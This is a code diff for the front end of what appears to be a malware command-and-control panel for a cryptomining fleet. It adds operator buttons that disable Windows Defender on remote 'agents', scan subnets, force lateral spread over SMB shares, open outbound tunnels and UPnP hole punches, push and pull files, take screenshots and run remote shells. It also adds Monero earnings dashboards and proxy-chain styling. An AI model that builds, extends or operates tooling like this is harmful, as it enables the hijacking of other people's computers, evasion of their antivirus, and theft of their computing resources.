title="Disable Windows Defender real-time monitoring (requires admin)"
onClick={() => {
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'defender_off').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `defender_off → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Defender Off
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Scan local subnet for reachable hosts (up to 64)"
onClick={() => {
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'subnet_scan').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `subnet_scan → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Subnet Scan
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Force one lateral-spread attempt via SMB/shares"
onClick={() => {
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'spread_now').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `spread_now → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Spread Now
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Open outbound Cloudflare tunnel (agent dials out — no inbound port required)"
onClick={() => {
const url = tunnelURL.trim() || '';
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'start_tunnel', { command: url }).catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `start_tunnel → ${selectedIds.size} node(s)${url ? ` (${url})` : ''}`, ts: new Date() }]);
}}
>
Start Tunnel
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="UPnP hole punch: map external port 8989 → agent's LAN port 8989"
onClick={() => {
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'hole_punch').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `hole_punch → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Hole Punch
</button>
</div>
{/* ── File Ops ─────────────────────────────────── */}
<div className="crucible-op-group cop-fileops">
<span className="cop-label">File Ops</span>
<div style={{ display: 'flex', gap: '0.4rem', alignItems: 'center', marginBottom: '0.4rem', flexWrap: 'wrap' }}>
<label
className="button crucible-op-btn"
style={{ cursor: selectedIds.size === 0 ? 'not-allowed' : 'pointer', opacity: selectedIds.size === 0 ? 0.5 : 1 }}
title="Push a local file to each selected agent's Desktop (Windows / macOS / Linux)"
>
Desktop
<input
type="file"
style={{ display: 'none' }}
disabled={selectedIds.size === 0}
onChange={async (e) => {
const file = e.target.files?.[0];
if (!file) return;
const targets = selectedAgents.filter(online);
try {
for (const a of targets) {
await pushFileToAgentDesktop(
(action, args) => api.sendAgentCommand(a.id, action, args),
file
);
}
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId: 'local',
agentName: 'YOU',
isCmd: true,
text: `push_desktop ${file.name}${targets.length} node(s)`,
ts: new Date(),
},
]);
} catch (err) {
alert(err instanceof Error ? err.message : String(err));
}
e.target.value = '';
}}
/>
</label>
<span className="form-hint" style={{ fontSize: '0.72rem', opacity: 0.75 }}>
{desktopPathHint(selectedAgents.find((a) => selectedIds.has(a.id))?.platform)}
</span>
</div>
<div style={{ display: 'flex', gap: '0.4rem', alignItems: 'center', marginBottom: '0.4rem' }}>
<input
type="text"
placeholder="Remote path (or @desktop/file.txt)"
value={downloadPath}
onChange={(e) => setDownloadPath(e.target.value)}
style={{ flex: 1, padding: '0.3rem 0.5rem', background: '#0d0d1a', border: '1px solid #333', color: '#ddd', borderRadius: 3, fontFamily: 'var(--font-tech)', fontSize: '0.78rem' }}
/>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0 || !downloadPath.trim()}
title="Download a file from the agent (result is base64 in terminal)"
onClick={() => {
const p = downloadPath.trim();
selectedAgents.filter(online).forEach((a) =>
api.sendAgentCommand(a.id, 'download', { path: p }).catch((err) =>
setTermLines((prev) => [...prev, { id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] download: ${err instanceof Error ? err.message : String(err)}`, ts: new Date(), success: false, targeted: true }])
)
);
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `download ← ${p}`, ts: new Date() }]);
}}
>
Pull
</button>
</div>
<div style={{ display: 'flex', gap: '0.4rem', alignItems: 'center' }}>
<input
type="text"
placeholder="Path or @desktop/filename"
value={uploadPath}
onChange={(e) => setUploadPath(e.target.value)}
style={{ flex: 1, padding: '0.3rem 0.5rem', background: '#0d0d1a', border: '1px solid #333', color: '#ddd', borderRadius: 3, fontFamily: 'var(--font-tech)', fontSize: '0.78rem' }}
/>
<label
className="button crucible-op-btn"
style={{ cursor: 'pointer' }}
title="Upload to custom path, or leave blank and use ↑ Desktop"
>
Push path
<input
type="file"
style={{ display: 'none' }}
ref={(el) => { uploadFileRef.current = el; }}
onChange={async (e) => {
const file = e.target.files?.[0];
if (!file) return;
const p = uploadPath.trim() || `@desktop/${file.name}`;
try {
const { readFileAsBase64 } = await import('../help/desktopPush');
const b64 = await readFileAsBase64(file);
selectedAgents.filter(online).forEach((a) =>
api.sendAgentCommand(a.id, 'upload', { path: p, data: b64 }).catch((err) =>
setTermLines((prev) => [...prev, { id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] upload: ${err instanceof Error ? err.message : String(err)}`, ts: new Date(), success: false, targeted: true }])
)
);
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `upload ${file.name}${p} on ${selectedIds.size} node(s)`, ts: new Date() }]);
} catch (err) {
alert(err instanceof Error ? err.message : String(err));
}
if (uploadFileRef.current) uploadFileRef.current.value = '';
}}
/>
</label>
</div>
</div>
{/* ── Shell type ───────────────────────────────── */}
<div className="crucible-op-group">
<div className="crucible-op-group cop-shell">
<span className="cop-label">Shell Mode</span>
<div className="crucible-shell-tabs">
{(['powershell', 'exec', 'sh'] as ShellType[]).map((s) => (
@@ -1286,7 +1748,7 @@ export default function CruciblePage() {
{line.isCmd ? '▶' : '◀'}
</span>
{line.richData ? (
<span className="ctl-text ctl-rich">{renderRichData(line.richData)}</span>
<span className="ctl-text ctl-rich">{renderRichData(line.richData, line.agentName)}</span>
) : (
<span className="ctl-text">{line.text}</span>
)}

View File

@@ -123,6 +123,14 @@ describe('DashboardPage', () => {
expect(await screen.findByText('No miners on the wire')).toBeInTheDocument();
});
it('shows projection charts and wealth strip with no agents', async () => {
renderDashboard();
expect(await screen.findByText(/Projection mode/i)).toBeInTheDocument();
expect(await screen.findByText('Fleet Hashrate Wave')).toBeInTheDocument();
expect(await screen.findByText('Accept Rate Pulse')).toBeInTheDocument();
expect(await screen.findByText('Target Fleet Earnings')).toBeInTheDocument();
});
it('renders stat labels and top agent card', async () => {
const agent = mockAgent({ name: 'Alpha Node', hashrate_15m: 1200 });
useWebSocketMock.mockReturnValue(wsValue({ agents: [agent] }));

View File

@@ -1,10 +1,9 @@
import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client';
import { useState, useEffect, useMemo, lazy, Suspense, type CSSProperties } from 'react';
import { useState, useEffect, useMemo, useRef, lazy, Suspense, type CSSProperties } from 'react';
import { Link } from 'react-router-dom';
import type { Share, ServerConfig } from '../types';
import { getSetupStatus } from '../help/setupStatus';
import SetupBanner from '../components/SetupBanner';
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../help/screenshotDownload';
import GaugeRing from '../components/Charts/GaugeRing';
import NeonCard from '../components/NeonCard/NeonCard';
import { FleetPipelineStatus, ActivityPulse } from '../components/Visual/VisualComponents';
@@ -13,6 +12,7 @@ import {
PoolStatusPanel,
AIActivityPanel,
EarningsEstimator,
WealthEarningsPreview,
FleetHealthCard,
ContributionBars,
UnderperformerList,
@@ -27,9 +27,6 @@ const HashrateChart = lazy(() => import('../components/Charts/HashrateChart'));
const FleetTopologyMap = lazy(() => import('../components/Visual/3D/FleetTopologyMap'));
const MatrixStreamOverlay = lazy(() => import('../components/Visual/MatrixStreamOverlay'));
function ChartPlaceholder({ height }: { height: number }) {
return <div style={{ height, opacity: 0.35 }} className="font-tech" aria-hidden />;
}
import {
DEFAULT_FLEET_FILTERS,
filterFleetAgents,
@@ -46,8 +43,18 @@ import {
groupBySubnet,
osArchBreakdown,
} from '../help/fleetAnalytics';
import {
resolveChartSeries,
SAMPLE_ACTIVITY,
SAMPLE_CONTRIBUTION_BARS,
SAMPLE_FLEET_PREVIEW,
} from '../help/chartSampleData';
import './Pages.css';
function ChartPlaceholder({ height }: { height: number }) {
return <div style={{ height, opacity: 0.35 }} className="font-tech" aria-hidden />;
}
/** Format GPU KawPoW hashrate (H/s units, displayed as MH/s or GH/s). */
function formatGPUHashrate(hps: number): string {
if (!hps || hps <= 0) return '0 H/s';
@@ -58,7 +65,7 @@ function formatGPUHashrate(hps: number): string {
}
export default function DashboardPage() {
const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket();
const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity, commandResults } = useWebSocket();
const [shares, setShares] = useState<Share[]>([]);
const [restAlerts, setRestAlerts] = useState<typeof fleetAlerts>([]);
const [restPools, setRestPools] = useState<typeof poolStatus>([]);
@@ -68,16 +75,20 @@ export default function DashboardPage() {
const [acceptHistory, setAcceptHistory] = useState<{ time: string; value: number }[]>([]);
const [cpuHistory, setCpuHistory] = useState<{ time: string; value: number }[]>([]);
const [memHistory, setMemHistory] = useState<{ time: string; value: number }[]>([]);
const [gpuHistory, setGpuHistory] = useState<{ time: string; value: number }[]>([]);
const [hasBuilds, setHasBuilds] = useState(false);
const [calibrateConfig, setCalibrateConfig] = useState<ServerConfig | null>(null);
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
const [bulkBusy, setBulkBusy] = useState(false);
const [showMatrix, setShowMatrix] = useState(false);
const screenshotWatchId = useRef<string | null>(null);
const screenshotSeqRef = useRef(0);
const [advancedMode, setAdvancedMode] = useState<boolean>(() => {
try { return localStorage.getItem('aether-dash-advanced') === '1'; } catch { return false; }
});
const [xmrPrice, setXmrPrice] = useState<number | null>(null);
const [calibrateConfig, setCalibrateConfig] = useState<ServerConfig | null>(null);
const [estXmrDay, setEstXmrDay] = useState<number | null>(null);
const toggleAdvanced = () =>
setAdvancedMode((prev) => {
@@ -154,13 +165,71 @@ export default function DashboardPage() {
const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0;
const onlinePct = agents.length > 0 ? (onlineCount / agents.length) * 100 : 0;
const previewDeck = agents.length === 0 || (totalHashrate <= 0 && onlineCount === 0);
useEffect(() => {
if (previewDeck || totalHashrate <= 0) {
setEstXmrDay(null);
return;
}
const controller = new AbortController();
api
.getEarningsEstimate(totalHashrate)
.then((r) => {
if (!controller.signal.aborted) setEstXmrDay(r.xmr_per_day ?? null);
})
.catch(() => {
if (!controller.signal.aborted) setEstXmrDay(null);
});
return () => controller.abort();
}, [totalHashrate, previewDeck]);
const displayHashrate = previewDeck ? SAMPLE_FLEET_PREVIEW.hashrate : totalHashrate;
const displayAccept = previewDeck ? SAMPLE_FLEET_PREVIEW.acceptRate : acceptRate;
const displayCpu = previewDeck ? SAMPLE_FLEET_PREVIEW.avgCpu : avgCpu;
const displayMem = previewDeck ? SAMPLE_FLEET_PREVIEW.avgMem : avgMem;
const displayOnlinePct = previewDeck ? SAMPLE_FLEET_PREVIEW.onlinePct : onlinePct;
const displayOnline = previewDeck ? SAMPLE_FLEET_PREVIEW.onlineCount : onlineCount;
const displayAgentTotal = previewDeck ? SAMPLE_FLEET_PREVIEW.agentCount : agents.length;
useEffect(() => {
const now = new Date().toLocaleTimeString();
setHashHistory((prev) => [...prev.slice(-59), { time: now, value: totalHashrate }]);
setAcceptHistory((prev) => [...prev.slice(-59), { time: now, value: acceptRate }]);
setCpuHistory((prev) => [...prev.slice(-59), { time: now, value: avgCpu }]);
setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]);
}, [totalHashrate, acceptRate, avgCpu, avgMem]);
const gpuVal = totalGPUHashrate > 0 ? totalGPUHashrate : previewDeck ? 48_500_000 : 0;
if (gpuVal > 0 || previewDeck) {
setGpuHistory((prev) => [...prev.slice(-59), { time: now, value: gpuVal }]);
}
}, [totalHashrate, acceptRate, avgCpu, avgMem, totalGPUHashrate, previewDeck]);
const hashChart = useMemo(
() => resolveChartSeries(hashHistory, 'hashrate', { tailValue: displayHashrate }),
[hashHistory, displayHashrate]
);
const acceptChart = useMemo(
() => resolveChartSeries(acceptHistory, 'accept', { tailValue: displayAccept }),
[acceptHistory, displayAccept]
);
const cpuChart = useMemo(
() => resolveChartSeries(cpuHistory, 'cpu', { tailValue: displayCpu }),
[cpuHistory, displayCpu]
);
const memChart = useMemo(
() => resolveChartSeries(memHistory, 'mem', { tailValue: displayMem }),
[memHistory, displayMem]
);
const gpuChart = useMemo(
() => resolveChartSeries(gpuHistory, 'gpu', { tailValue: totalGPUHashrate || 48_500_000 }),
[gpuHistory, totalGPUHashrate]
);
const estUsdDay = useMemo(() => {
const price = xmrPrice ?? SAMPLE_FLEET_PREVIEW.xmrPrice;
const xmr = previewDeck ? SAMPLE_FLEET_PREVIEW.xmrPerDay : estXmrDay;
return xmr != null ? xmr * price : null;
}, [previewDeck, estXmrDay, xmrPrice]);
const filteredAgents = useMemo(() => filterFleetAgents(agents, filters), [agents, filters]);
@@ -170,16 +239,16 @@ export default function DashboardPage() {
);
const maxAgentHash = Math.max(...topAgents.map((a) => a.hashrate_15m), 1);
const activityItems = useMemo(
() =>
shares.slice(0, 12).map((s) => ({
id: String(s.id ?? `${s.agent_id}-${s.hash}`),
label: s.accepted ? 'OK' : 'BAD',
ok: s.accepted,
time: s.timestamp ? new Date(s.timestamp).toLocaleTimeString() : undefined,
})),
[shares]
);
const activityItems = useMemo(() => {
const live = shares.slice(0, 12).map((s) => ({
id: String(s.id ?? `${s.agent_id}-${s.hash}`),
label: s.accepted ? 'OK' : 'BAD',
ok: s.accepted,
time: s.timestamp ? new Date(s.timestamp).toLocaleTimeString() : undefined,
}));
if (live.length > 0) return live;
return previewDeck ? SAMPLE_ACTIVITY : live;
}, [shares, previewDeck]);
const totalShareCount = agents.reduce((sum, a) => sum + a.shares_total, 0);
const alerts = fleetAlerts.length > 0 ? fleetAlerts : restAlerts;
@@ -250,22 +319,93 @@ export default function DashboardPage() {
const lanGroups = useMemo(() => groupBySubnet(agents), [agents]);
const platforms = useMemo(() => osArchBreakdown(agents), [agents]);
useEffect(() => {
if (!commandResults?.length || !screenshotWatchId.current) return;
const watch = screenshotWatchId.current;
for (const r of commandResults) {
if (r._seq <= screenshotSeqRef.current) continue;
if (r.agent_id !== watch || r.action !== 'screenshot') continue;
screenshotSeqRef.current = r._seq;
screenshotWatchId.current = null;
const label = agents.find((a) => a.id === watch)?.name ?? watch.slice(0, 8);
if (r.success && r.message) {
const ok = downloadScreenshotFromBase64(sanitizeScreenshotBase64(r.message), label);
if (!ok) alert(`Screenshot from ${label} failed — empty or invalid image.`);
} else {
alert(`Screenshot failed on ${label}: ${r.message ?? 'unknown error'}`);
}
break;
}
}, [commandResults, agents]);
const handleBulkAction = async (action: string) => {
let targetIds = [...selectedIds];
const ids = [...selectedIds];
if (ids.length === 0) return;
if (action === 'delete') {
if (!window.confirm(`Permanently remove ${ids.length} machine(s) from the fleet roster?`)) return;
setBulkBusy(true);
try {
await api.bulkDeleteAgents(ids);
setSelectedIds(new Set());
} catch (err) {
alert(err instanceof Error ? err.message : 'Bulk delete failed');
} finally {
setBulkBusy(false);
}
return;
}
let targetIds = ids;
if (action === 'restart_idle') {
targetIds = agents.filter((a) => selectedIds.has(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
targetIds = agents.filter((a) => ids.includes(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
if (targetIds.length === 0) {
alert('No selected online agents with idle hashrate.');
alert('No selected online agents with idle hashrate (< 100 H/s).');
return;
}
action = 'restart';
}
const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online');
if (onlineIds.length === 0) return;
if (action === 'stop' && !window.confirm(`Stop ${onlineIds.length} agent(s)?`)) return;
if (onlineIds.length === 0) {
alert('No online agents in selection.');
return;
}
if (action === 'screenshot') {
if (onlineIds.length !== 1) {
alert('Select exactly one online machine for screenshot.');
return;
}
const id = onlineIds[0];
screenshotWatchId.current = id;
if (commandResults?.length) {
screenshotSeqRef.current = commandResults[commandResults.length - 1]._seq;
}
setBulkBusy(true);
try {
const res = await api.sendAgentCommand(id, 'screenshot');
if (res.success === false) {
screenshotWatchId.current = null;
alert(res.error ?? 'Screenshot command rejected');
}
} catch (err) {
screenshotWatchId.current = null;
alert(err instanceof Error ? err.message : 'Screenshot failed');
} finally {
setBulkBusy(false);
}
return;
}
if (action === 'stop' && !window.confirm(`Stop miner on ${onlineIds.length} agent(s)?`)) return;
setBulkBusy(true);
try {
await api.sendBulkCommand(onlineIds, action);
const result = await api.sendBulkCommand(onlineIds, action);
if (result.failed > 0) {
alert(`Sent to ${result.sent}, failed on ${result.failed} agent(s).`);
}
} catch (err) {
console.error(err);
alert(err instanceof Error ? err.message : 'Bulk command failed');
@@ -274,17 +414,20 @@ export default function DashboardPage() {
}
};
const setupStatus = getSetupStatus(calibrateConfig);
return (
<div className="page fade-in command-deck">
<SetupBanner status={setupStatus} />
<AlertBanner alerts={alerts} />
{/* Fleet Health — always above the fold */}
<FleetHealthCard health={fleetHealth} />
<header className="deck-hero">
{previewDeck && (
<p className="preview-deck-hint font-tech" role="status">
Projection mode charts validated with sample telemetry until your fleet connects
</p>
)}
<header className="deck-hero wealth-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">PERSONAL NETWORK · LIVE TELEMETRY</p>
<h1>Command Deck</h1>
@@ -318,6 +461,33 @@ export default function DashboardPage() {
</div>
</header>
<div className="deck-wealth-strip" aria-label="Fleet yield snapshot">
<div className="deck-wealth-pill">
<div className="dwp-label">Fleet Hash</div>
<div className="dwp-value mint">{formatHashrate(displayHashrate)}</div>
<div className="dwp-sub">15m rolling</div>
</div>
<div className="deck-wealth-pill">
<div className="dwp-label">Est. Daily</div>
<div className="dwp-value mint">
{estUsdDay != null ? `$${estUsdDay.toFixed(2)}` : '—'}
</div>
<div className="dwp-sub">{previewDeck ? 'projection' : 'from live hashrate'}</div>
</div>
<div className="deck-wealth-pill">
<div className="dwp-label">Accept</div>
<div className="dwp-value">{displayAccept.toFixed(1)}%</div>
<div className="dwp-sub">share quality</div>
</div>
<div className="deck-wealth-pill">
<div className="dwp-label">Nodes Live</div>
<div className="dwp-value">
{displayOnline}/{displayAgentTotal}
</div>
<div className="dwp-sub">{displayOnlinePct.toFixed(0)}% online</div>
</div>
</div>
<NeonCard accent="green" className="section" hud>
<h2 className="section-title font-display" style={{ marginBottom: '0.25rem' }}>
<span className="section-ornament"></span> Fleet Pipeline
@@ -338,8 +508,8 @@ export default function DashboardPage() {
<section className="gauge-row">
<NeonCard accent="cyan" className="gauge-card" hud>
<GaugeRing
value={totalHashrate}
max={Math.max(totalHashrate * 1.2, 1000)}
value={displayHashrate}
max={Math.max(displayHashrate * 1.2, 1000)}
label="Fleet Hash"
sublabel="15m avg"
color="var(--neon-cyan)"
@@ -347,32 +517,52 @@ export default function DashboardPage() {
/>
</NeonCard>
<NeonCard accent="green" className="gauge-card" hud>
<GaugeRing value={onlinePct} label="Online" sublabel={`${onlineCount}/${agents.length}`} color="var(--neon-green)" size={110} />
<GaugeRing
value={displayOnlinePct}
label="Online"
sublabel={`${displayOnline}/${displayAgentTotal}`}
color="var(--neon-green)"
size={110}
/>
</NeonCard>
<NeonCard accent="purple" className="gauge-card" hud>
<GaugeRing value={acceptRate} label="Accept" sublabel="share rate" color="var(--neon-purple)" size={110} />
<GaugeRing value={displayAccept} label="Accept" sublabel="share rate" color="var(--neon-purple)" size={110} />
</NeonCard>
<NeonCard accent="amber" className="gauge-card" hud>
<GaugeRing value={avgCpu} label="CPU" sublabel={`RAM ${avgMem.toFixed(0)}%`} color="var(--neon-amber)" size={110} />
<GaugeRing
value={displayCpu}
label="CPU"
sublabel={`RAM ${displayMem.toFixed(0)}%`}
color="var(--neon-amber)"
size={110}
/>
</NeonCard>
</section>
<div className="grid-4 stats-grid steampunk-stats">
<NeonCard accent="cyan" className="stat-card-wrap">
<NeonCard accent="cyan" className="stat-card-wrap wealth-stat">
<div className="stat-label font-tech">Total Hashrate</div>
<div className="stat-value hashrate neon-glow-cyan">{formatHashrate(totalHashrate)}</div>
<div className="stat-sub">{onlineCount} engines firing</div>
<div className="stat-value hashrate neon-glow-cyan">{formatHashrate(displayHashrate)}</div>
<div className="stat-sub">{displayOnline} engines firing</div>
</NeonCard>
<EarningsEstimator hashrate={totalHashrate} xmrPrice={xmrPrice} />
<NeonCard accent="green" className="stat-card-wrap">
{previewDeck ? (
<WealthEarningsPreview xmrPrice={xmrPrice} />
) : (
<EarningsEstimator hashrate={totalHashrate} xmrPrice={xmrPrice} />
)}
<NeonCard accent="green" className="stat-card-wrap wealth-stat">
<div className="stat-label font-tech">Fleet Online</div>
<div className="stat-value accepted">{onlineCount} <span className="stat-dim">/ {agents.length}</span></div>
<div className="stat-sub">{agents.length - onlineCount} dormant</div>
<div className="stat-value accepted">
{displayOnline} <span className="stat-dim">/ {displayAgentTotal}</span>
</div>
<div className="stat-sub">{displayAgentTotal - displayOnline} dormant</div>
</NeonCard>
<NeonCard accent="purple" className="stat-card-wrap">
<NeonCard accent="purple" className="stat-card-wrap wealth-stat">
<div className="stat-label font-tech">Accept Rate</div>
<div className="stat-value neon-glow-purple">{acceptRate.toFixed(1)}%</div>
<div className="stat-sub">{acceptedShares} valid · {rejectedShares} rejected</div>
<div className="stat-value neon-glow-purple">{displayAccept.toFixed(1)}%</div>
<div className="stat-sub">
{previewDeck ? 'sample pool quality' : `${acceptedShares} valid · ${rejectedShares} rejected`}
</div>
</NeonCard>
<NeonCard accent="amber" className="stat-card-wrap">
<div className="stat-label font-tech">Resources</div>
@@ -622,7 +812,12 @@ export default function DashboardPage() {
)}
{/* ── Analytics row — always visible ─────────────────────────────────── */}
<ContributionBars bars={contribs} xmrPrice={xmrPrice} />
<ContributionBars
bars={contribs.length > 0 ? contribs : previewDeck ? SAMPLE_CONTRIBUTION_BARS : []}
sample={previewDeck && contribs.length === 0}
xmrPerDay={previewDeck ? SAMPLE_FLEET_PREVIEW.xmrPerDay : undefined}
xmrPrice={xmrPrice}
/>
<UnderperformerList underperformers={underperformers} medianHashrate={medianHash} />
{(platforms.length > 0 || lanGroups.length > 1) && (
<div className="grid-2" style={{ gap: '1rem', marginTop: '1rem' }}>
@@ -639,33 +834,74 @@ export default function DashboardPage() {
<Suspense fallback={<ChartPlaceholder height={300} />}>
<div className="grid-2 chart-row">
<NeonCard accent="cyan" tilt3d>
<HashrateChart data={hashHistory} title="Fleet Hashrate Wave" color="#00f5ff" unit="H/s" height={300} />
<HashrateChart
data={hashChart.data}
displayMode={hashChart.mode}
title="Fleet Hashrate Wave"
color="#00f5ff"
unit="H/s"
height={300}
/>
</NeonCard>
<NeonCard accent="purple" tilt3d>
<HashrateChart data={acceptHistory} title="Accept Rate Pulse" color="#a855f7" unit="%" height={300} />
<HashrateChart
data={acceptChart.data}
displayMode={acceptChart.mode}
title="Accept Rate Pulse"
color="#a855f7"
unit="%"
height={300}
/>
</NeonCard>
</div>
</Suspense>
{advancedMode && (
{(hasGPUMining || previewDeck) && (
<Suspense fallback={<ChartPlaceholder height={220} />}>
<div className="grid-2 chart-row">
<NeonCard accent="magenta" tilt3d>
<HashrateChart data={cpuHistory} title="CPU Pressure" color="#ff2da6" unit="%" height={220} />
</NeonCard>
<NeonCard accent="brass" tilt3d>
<HashrateChart data={memHistory} title="Memory Load — Fleet Average" color="#ffb020" unit="%" height={220} />
</NeonCard>
</div>
<NeonCard accent="gold" tilt3d className="chart-row" style={{ marginTop: '1rem' }}>
<HashrateChart
data={gpuChart.data}
displayMode={gpuChart.mode}
title="GPU Hash Vault (KawPoW)"
color="#e8c547"
unit="H/s"
height={220}
/>
</NeonCard>
</Suspense>
)}
<Suspense fallback={<ChartPlaceholder height={220} />}>
<div className="grid-2 chart-row">
<NeonCard accent="magenta" tilt3d>
<HashrateChart
data={cpuChart.data}
displayMode={cpuChart.mode}
title="CPU Pressure"
color="#ff2da6"
unit="%"
height={220}
/>
</NeonCard>
<NeonCard accent="brass" tilt3d>
<HashrateChart
data={memChart.data}
displayMode={memChart.mode}
title="Memory Load — Fleet Average"
color="#ffb020"
unit="%"
height={220}
/>
</NeonCard>
</div>
</Suspense>
<NeonCard accent="purple" className="section" hud>
<h2 className="section-title font-display">
<span className="section-ornament"></span> Share Activity Pulse
<span className="section-line" />
</h2>
<ActivityPulse items={activityItems} />
<ActivityPulse items={activityItems} sample={previewDeck && shares.length === 0} />
</NeonCard>
<section className="section">
@@ -768,6 +1004,13 @@ export default function DashboardPage() {
</NeonCard>
)}
</div>
{filteredAgents.length > 12 && (
<div style={{ textAlign: 'center', marginTop: '1rem' }}>
<Link to="/agents" className="btn btn-outline btn-sm font-tech">
View all {filteredAgents.length} agents
</Link>
</div>
)}
</section>
{advancedMode && (
<section className="section">

View File

@@ -1092,6 +1092,30 @@
.gauge-row {
grid-template-columns: 1fr;
}
.page {
max-width: 100%;
overflow-x: hidden;
}
.deck-grid,
.agents-page-layout,
.settings-grid {
grid-template-columns: 1fr !important;
}
.agent-list-item .agent-list-header {
flex-wrap: wrap;
gap: 0.35rem;
}
.deliverable-grid {
grid-template-columns: 1fr !important;
}
.forge-rules-grid {
grid-template-columns: 1fr;
}
}
/* ── Forge guardrails ── */

View File

@@ -0,0 +1,448 @@
/* ── Path Tracer ─────────────────────────────────────────────── */
.pathtrace-page {
padding: 1.5rem;
max-width: 1200px;
margin: 0 auto;
display: flex;
flex-direction: column;
gap: 1.5rem;
}
/* ── Header ─────────────────────────────────────────────────── */
.pt-header {
display: flex;
align-items: flex-end;
gap: 1.2rem;
}
.pt-title {
font-size: 1.5rem;
font-weight: 700;
letter-spacing: 0.15em;
text-transform: uppercase;
color: var(--accent-primary, #00ffaa);
font-family: var(--font-tech, monospace);
text-shadow: 0 0 18px #00ffaa88;
}
.pt-subtitle {
font-size: 0.75rem;
color: var(--text-muted, #667);
font-family: var(--font-tech, monospace);
letter-spacing: 0.08em;
padding-bottom: 0.15rem;
}
/* ── Layout ──────────────────────────────────────────────────── */
.pt-body {
display: grid;
grid-template-columns: 1fr 340px;
gap: 1.5rem;
}
@media (max-width: 900px) {
.pt-body { grid-template-columns: 1fr; }
}
/* ── Agent grid ──────────────────────────────────────────────── */
.pt-agent-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
gap: 0.75rem;
}
.pt-agent-card {
background: rgba(0, 255, 170, 0.04);
border: 1px solid rgba(0, 255, 170, 0.12);
border-radius: 8px;
padding: 0.85rem 1rem;
cursor: pointer;
transition: all 0.15s ease;
position: relative;
user-select: none;
}
.pt-agent-card:hover {
background: rgba(0, 255, 170, 0.08);
border-color: rgba(0, 255, 170, 0.3);
}
.pt-agent-card.selected {
background: rgba(0, 255, 170, 0.14);
border-color: #00ffaa;
box-shadow: 0 0 12px #00ffaa33;
}
.pt-agent-card.offline {
opacity: 0.4;
cursor: not-allowed;
background: rgba(255, 255, 255, 0.02);
border-color: rgba(255, 255, 255, 0.07);
}
.pt-agent-card-order {
position: absolute;
top: 6px;
right: 8px;
font-size: 0.65rem;
font-family: var(--font-tech, monospace);
color: #000;
background: #00ffaa;
border-radius: 50%;
width: 18px;
height: 18px;
display: flex;
align-items: center;
justify-content: center;
font-weight: 700;
}
.pt-agent-name {
font-size: 0.8rem;
font-weight: 600;
color: var(--text-primary, #e0e0e0);
font-family: var(--font-tech, monospace);
letter-spacing: 0.04em;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
margin-bottom: 0.25rem;
}
.pt-agent-ip {
font-size: 0.7rem;
color: #00ffaa99;
font-family: monospace;
}
.pt-agent-status-dot {
display: inline-block;
width: 6px;
height: 6px;
border-radius: 50%;
margin-right: 5px;
}
.pt-agent-status-dot.online { background: #00ffaa; box-shadow: 0 0 5px #00ffaa; }
.pt-agent-status-dot.offline { background: #555; }
/* ── Chain visualizer ────────────────────────────────────────── */
.pt-sidebar {
display: flex;
flex-direction: column;
gap: 1rem;
}
.pt-chain-panel {
background: rgba(0, 0, 0, 0.35);
border: 1px solid rgba(0, 255, 170, 0.14);
border-radius: 10px;
padding: 1rem;
display: flex;
flex-direction: column;
gap: 0.75rem;
}
.pt-chain-title {
font-size: 0.65rem;
letter-spacing: 0.12em;
text-transform: uppercase;
color: #00ffaa88;
font-family: var(--font-tech, monospace);
margin-bottom: 0.25rem;
}
.pt-chain-empty {
font-size: 0.72rem;
color: #444;
font-family: var(--font-tech, monospace);
text-align: center;
padding: 1rem 0;
}
.pt-chain-row {
display: flex;
flex-direction: column;
gap: 0.2rem;
}
.pt-chain-hop {
display: flex;
align-items: center;
gap: 0.5rem;
}
.pt-chain-hop-badge {
width: 22px;
height: 22px;
border-radius: 50%;
background: #00ffaa22;
border: 1px solid #00ffaa55;
display: flex;
align-items: center;
justify-content: center;
font-size: 0.6rem;
font-family: var(--font-tech, monospace);
color: #00ffaa;
